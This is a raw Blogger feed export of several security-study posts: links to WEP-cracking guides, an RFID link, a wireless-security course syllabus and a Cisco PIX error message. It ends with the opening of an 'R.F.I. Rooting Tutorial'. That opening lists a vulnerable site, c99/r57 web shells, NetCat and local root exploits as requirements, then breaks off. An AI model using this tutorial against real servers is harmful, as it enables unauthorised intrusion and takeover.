"&gt;How To Crack WEP - Part 1: Setup &amp;amp; Network Recon&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.tomsguide.com/us/how-to-crack-wep,review-451.html"&gt;http://www.tomsguide.com/us/how-to-crack-wep,review-451.html&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.tomsguide.com/us/index.php?ctrl=dossierprint&amp;amp;p1=451"&gt;http://www.tomsguide.com/us/index.php?ctrl=dossierprint&amp;amp;p1=451&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-size: 25px; font-weight: bold; "&gt;How To Crack WEP - Part 2: Performing the Crack&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.tomsguide.com/us/how-to-crack-wep,review-459.html"&gt;http://www.tomsguide.com/us/how-to-crack-wep,review-459.html&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.tomsguide.com/us/index.php?ctrl=dossierprint&amp;amp;p1=459"&gt;http://www.tomsguide.com/us/index.php?ctrl=dossierprint&amp;amp;p1=459&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-size: 25px; font-weight: bold; "&gt;How To Crack WEP - Part 3: Securing your WLAN&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.tomsguide.com/us/how-to-crack-wep,review-471.html"&gt;http://www.tomsguide.com/us/how-to-crack-wep,review-471.html&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.tomsguide.com/us/index.php?ctrl=dossierprint&amp;amp;p1=471"&gt;http://www.tomsguide.com/us/index.php?ctrl=dossierprint&amp;amp;p1=471&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 51, 102); font-family: Verdana; font-weight: bold; -webkit-border-horizontal-spacing: 4px; -webkit-border-vertical-spacing: 4px; "&gt;WEP: Dead Again, Part 1&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 12px; -webkit-border-horizontal-spacing: 4px; -webkit-border-vertical-spacing: 4px; "&gt;&lt;span class="author" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-style: italic; text-decoration: none; line-height: 16px; color: rgb(0, 0, 0); "&gt;&lt;a href="mailto:mike@ossmann.com" style="text-decoration: none; color: rgb(51, 102, 204); "&gt;Michael Ossmann&lt;/a&gt;&lt;/span&gt; &lt;span class="date" style="font-size: 9pt; color: rgb(153, 153, 153); "&gt;2004-12-14&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.securityfocus.com/infocus/1814"&gt;http://www.securityfocus.com/infocus/1814&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana; font-size: 12px; -webkit-border-horizontal-spacing: 4px; -webkit-border-vertical-spacing: 4px; "&gt;&lt;span class="headline" style="font-size: 12pt; font-weight: bold; color: rgb(0, 51, 102); "&gt;WEP: Dead Again, Part 2&lt;/span&gt;&lt;br /&gt;&lt;span class="author" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-style: italic; text-decoration: none; line-height: 16px; color: rgb(0, 0, 0); "&gt;&lt;a href="mailto:mike@ossmann.com" style="text-decoration: none; color: rgb(51, 102, 204); "&gt;Michael Ossmann&lt;/a&gt;&lt;/span&gt; &lt;span class="date" style="font-size: 9pt; color: rgb(153, 153, 153); "&gt;2005-03-08&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(153, 153, 153); font-family: Verdana; font-size: 12px; -webkit-border-horizontal-spacing: 4px; -webkit-border-vertical-spacing: 4px;"&gt;&lt;a href="http://www.securityfocus.com/infocus/1824"&gt;http://www.securityfocus.com/infocus/1824&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-6784737113346998270?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/6784737113346998270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=6784737113346998270' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/6784737113346998270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/6784737113346998270'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/01/crack-wep.html' title='Crack WEP?'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-4114131584879839267</id><published>2009-01-26T01:24:00.000-08:00</published><updated>2009-01-26T01:26:13.578-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RFID'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='IWD 2243'/><title type='text'>How RFID Works</title><content type='html'>&lt;div&gt;Long checkout lines at the grocery store are one of the biggest complaints about the shopping experience. Soon, these lines could disappear when the ubiquitous &lt;a href="http://electronics.howstuffworks.com/rfid.htm/upc.htm"&gt;Universal Product Code&lt;/a&gt; (UPC) bar code is replaced by &lt;strong&gt;smart labels&lt;/strong&gt;, also called &lt;strong&gt;radio frequency identification&lt;/strong&gt; (RFID) tags. RFID tags are intelligent bar codes that can talk to a networked system to track every product that you put in your shopping cart.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Read more here...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://electronics.howstuffworks.com/rfid.htm/printable"&gt;http://electronics.howstuffworks.com/rfid.htm/printable&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-4114131584879839267?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/4114131584879839267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=4114131584879839267' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4114131584879839267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4114131584879839267'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/01/how-rfid-works.html' title='How RFID Works'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-8753430083228605376</id><published>2009-01-26T00:15:00.000-08:00</published><updated>2009-01-26T00:26:48.540-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='IWD 2243'/><title type='text'>Wireless and Mobile Security/Keselamatan Tanpa Wayar dan Mudahalih</title><content type='html'>&lt;table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" width="578" style="width:433.85pt;margin-left:5.4pt;border-collapse:collapse;border:none;  mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt;  mso-border-insideh:.5pt solid windowtext;mso-border-insidev:.5pt solid windowtext"&gt;  &lt;tbody&gt;&lt;tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes"&gt;   &lt;td width="120" valign="top" style="width:90.0pt;border:solid windowtext 1.0pt;   mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoFooter" style="text-align:justify;tab-stops:36.0pt center 216.0pt right 432.0pt"&gt;&lt;span lang="EN-US"&gt;Subject Name&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td width="458" valign="top" style="width:343.85pt;border:solid windowtext 1.0pt;   border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:   solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;b style="mso-bidi-font-weight:   normal"&gt;&lt;span lang="EN-US"&gt;Wireless and Mobile Security&lt;/span&gt;&lt;/b&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:   EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="mso-yfti-irow:1"&gt;   &lt;td width="120" valign="top" style="width:90.0pt;border:solid windowtext 1.0pt;   border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;   padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Subject Code&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td width="458" valign="top" style="width:343.85pt;border-top:none;border-left:   none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;   mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;   mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoFooter" style="text-align:justify;tab-stops:36.0pt center 216.0pt right 432.0pt"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;&lt;span lang="EN-US"&gt;IWD 2243&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="mso-yfti-irow:2"&gt;   &lt;td width="120" valign="top" style="width:90.0pt;border:solid windowtext 1.0pt;   border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;   padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Status &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td width="458" valign="top" style="width:343.85pt;border-top:none;border-left:   none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;   mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;   mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoFooter" style="text-align:justify;tab-stops:36.0pt center 216.0pt right 432.0pt"&gt;&lt;span lang="EN-US"&gt;Teras Major &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="mso-yfti-irow:3"&gt;   &lt;td width="120" valign="top" style="width:90.0pt;border:solid windowtext 1.0pt;   border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;   padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Level&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td width="458" valign="top" style="width:343.85pt;border-top:none;border-left:   none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;   mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;   mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Diploma&lt;/span&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="mso-yfti-irow:4"&gt;   &lt;td width="120" valign="top" style="width:90.0pt;border:solid windowtext 1.0pt;   border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;   padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Credit hours&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td width="458" valign="top" style="width:343.85pt;border-top:none;border-left:   none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;   mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;   mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;3 hours&lt;/span&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="mso-yfti-irow:5"&gt;   &lt;td width="120" valign="top" style="width:90.0pt;border:solid windowtext 1.0pt;   border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;   padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Pre Requisite&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td width="458" valign="top" style="width:343.85pt;border-top:none;border-left:   none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;   mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;   mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;IWD2323- Computer Security&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="mso-yfti-irow:6;mso-yfti-lastrow:yes"&gt;   &lt;td width="120" valign="top" style="width:90.0pt;border:solid windowtext 1.0pt;   border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;   padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Assessment&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td width="458" valign="top" style="width:343.85pt;border-top:none;border-left:   none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;   mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;   mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Final examination   – 40%&lt;/span&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Mid-semester   test – 20%, &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Course Work-   40%&lt;/span&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" width="578" style="width:433.85pt;margin-left:5.4pt;border-collapse:collapse;border:none;  mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt;  mso-border-insideh:.5pt solid windowtext;mso-border-insidev:.5pt solid windowtext"&gt;  &lt;tbody&gt;&lt;tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes"&gt;   &lt;td width="120" valign="top" style="width:90.0pt;border:solid windowtext 1.0pt;   mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Semester   Thought&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td width="458" valign="top" style="width:343.85pt;border:solid windowtext 1.0pt;   border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:   solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoFooter" style="text-align:justify;tab-stops:36.0pt center 216.0pt right 432.0pt"&gt;&lt;span lang="EN-US"&gt;Year 2, Semester 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="mso-yfti-irow:1;mso-yfti-lastrow:yes"&gt;   &lt;td width="120" valign="top" style="width:90.0pt;border:solid windowtext 1.0pt;   border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;   padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Synopsis&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td width="458" valign="top" style="width:343.85pt;border-top:none;border-left:   none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;   mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;   mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;The use of   wireless networks and mobile communications has become a major trend these   days.&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;Wireless and mobile communications   offer many benefits such as portability and flexibility, increased   productivity, and lower installation costs. Wireless technologies cover a   broad range of differing capabilities oriented toward different uses and   needs. Wireless local area network (WLAN) devices, for instance, allow users   to move their laptops from place to place within their offices without the   need for wires and without losing network connectivity.&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;Mobile and wireless security is therefore of   high priority. Security measures taken depend on the different protocols,   standards, techniques and systems available. A brief introduction to security   protocols, standards and corresponding technologies is given in this subject   particularly on 2G, 2.5G, 3G and wireless local area networks. Standards,   like WAP, IEEE 802.11 and Bluetooth are included as well as the awareness of   the vulnerabilities, threats and countermeasures associated with these   wireless technologies&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" width="578" style="width:433.85pt;margin-left:5.4pt;border-collapse:collapse;border:none;  mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt;  mso-border-insideh:.5pt solid windowtext;mso-border-insidev:.5pt solid windowtext"&gt;  &lt;tbody&gt;&lt;tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes"&gt;   &lt;td width="578" valign="top" style="width:433.85pt;border:solid windowtext 1.0pt;   mso-border-alt:solid windowtext .5pt;background:#A6A6A6;padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;b style="mso-bidi-font-weight:   normal"&gt;&lt;span lang="EN-US"&gt;Learning Objective&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="mso-yfti-irow:1"&gt;   &lt;td width="578" valign="top" style="width:433.85pt;border:solid windowtext 1.0pt;   border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;   padding:0cm 5.4pt 0cm 5.4pt"&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;b style="mso-bidi-font-weight:   normal"&gt;&lt;span lang="EN-US"&gt;Aim&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align:justify;mso-layout-grid-align:none;   text-autospace:none"&gt;&lt;span lang="EN-US"&gt;In this course, student should be able   to gain a solid understanding of the security weaknesses of and threats to   wireless LANs ,&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;understand wireless   network design and deployment ,&lt;span style="mso-spacerun:yes"&gt;    &lt;/span&gt;implement the best security techniques currently available ,&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;introduce the latest security software and   protocols for wireless LANs ,&lt;span style="mso-spacerun:yes"&gt;    &lt;/span&gt;introduce the best resources for wireless security issues and   decisions to the organization&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="mso-yfti-irow:2;mso-yfti-lastrow:yes;height:44.5pt"&gt;&lt;td width="578" valign="top" style="width:433.85pt;border:solid windowtext 1.0pt;   border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;   padding:0cm 5.4pt 0cm 5.4pt;height:44.5pt"&gt;&lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;b style="mso-bidi-font-weight:   normal"&gt;&lt;span lang="EN-US"&gt;Course learning Outcomes&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-US"&gt;Upon   successful completion of the course, the students should be able to:&lt;/span&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;ol style="margin-top:0cm" start="1" type="1"&gt;    &lt;li class="MsoNormal" style="text-align:justify;mso-line-height-alt:11.0pt;        mso-list:l0 level1 lfo1;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-US"&gt;Have a        clear understanding of the full range of wireless technologies in common        use and how to implement them safely.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;    &lt;li class="MsoNormal" style="text-align:justify;mso-line-height-alt:11.0pt;        mso-list:l0 level1 lfo1;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-US"&gt;Understand        how to secure wireless systems and prevent threats posed by hackers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;    &lt;li class="MsoNormal" style="text-align:justify;mso-line-height-alt:11.0pt;        mso-list:l0 level1 lfo1;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-US"&gt;Understand        how wireless devices, components and protocols work, how to determine        the best wireless solutions for their environments, and how to        implement, secure and maintain these solutions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;   &lt;/ol&gt;   &lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-8753430083228605376?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/8753430083228605376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=8753430083228605376' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8753430083228605376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8753430083228605376'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/01/wireless-and-mobile-securitykeselamatan.html' title='Wireless and Mobile Security/Keselamatan Tanpa Wayar dan Mudahalih'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-2717898992584073277</id><published>2009-01-12T18:27:00.000-08:00</published><updated>2009-01-12T18:28:33.785-08:00</updated><title type='text'>Error Message    %PIX-1-105009: (Primary) Testing on interface int_name result.</title><content type='html'>Error Message    %PIX-1-105009: (Primary) Testing on interface int_name result.&lt;br /&gt;Explanation    This is a failover message. This message reports the result (either "Passed" or "Failed") of a previous interface test. "(Primary)" can also be listed as "(Secondary)" for the secondary unit.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Recommended Action&lt;/span&gt;    &lt;span class="Apple-style-span" style="color: rgb(153, 153, 255);"&gt;None required if the result is "Passed.&lt;/span&gt;" If the result is &lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;"Failed," you should check the network cable connection to both failover units, that the network itself is functioning correctly, and verify the status of the standby unit.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_62/syslog/pixemsgs.htm"&gt;http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_62/syslog/pixemsgs.htm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-2717898992584073277?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/2717898992584073277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=2717898992584073277' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2717898992584073277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2717898992584073277'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/01/error-message-pix-1-105009-primary.html' title='Error Message    %PIX-1-105009: (Primary) Testing on interface int_name result.'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-3305917023646260126</id><published>2009-01-09T08:39:00.000-08:00</published><updated>2009-10-09T08:40:24.928-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rfi'/><title type='text'>R.F.I. Rooting Tutorial (Linux Server and Safe Mod: OFF)</title><content type='html'>=======================================================================&lt;br /&gt;R.F.I. Rooting Tutorial (Linux Server and Safe Mod: OFF)&lt;br /&gt;&lt;br /&gt;Author: An@sA_StAxtH&lt;br /&gt;Mail/MSN: admin@cyberanarchy.org/anasa_staxth@hotmail.com&lt;br /&gt;&lt;br /&gt;For Cyber Anarchy (Nov. 2007)&lt;br /&gt;=======================================================================&lt;br /&gt;&lt;br /&gt;You will need:&lt;br /&gt;&lt;br /&gt;- Vulnerable Site in R.F.I.&lt;br /&gt;- Shell for R.F.I. (e.g. c99, r57 or other)&lt;br /&gt;- NetCat&lt;br /&gt;- Local Root Exploit (depending on the kernel and the version)&lt;br /&gt;&lt;br /&gt;This aim tutorial is to give a very general picture in process of Rooting &lt;br /&gt;in Linux Server with Safe Mod: OFF.&lt;br /&gt;&lt;br /&gt;-&lt;br /&gt;&lt;br /&gt;Suppose that we have found a site with R.F.I. vulnerability:&lt;br /&gt;&lt;br /&gt;http://www.hackedsite.com/folder/index.html?page=&lt;br /&gt;&lt;br /&gt;e can run shell exploiting Remote File Inclusion, as follows:&lt;br /&gt;&lt;br 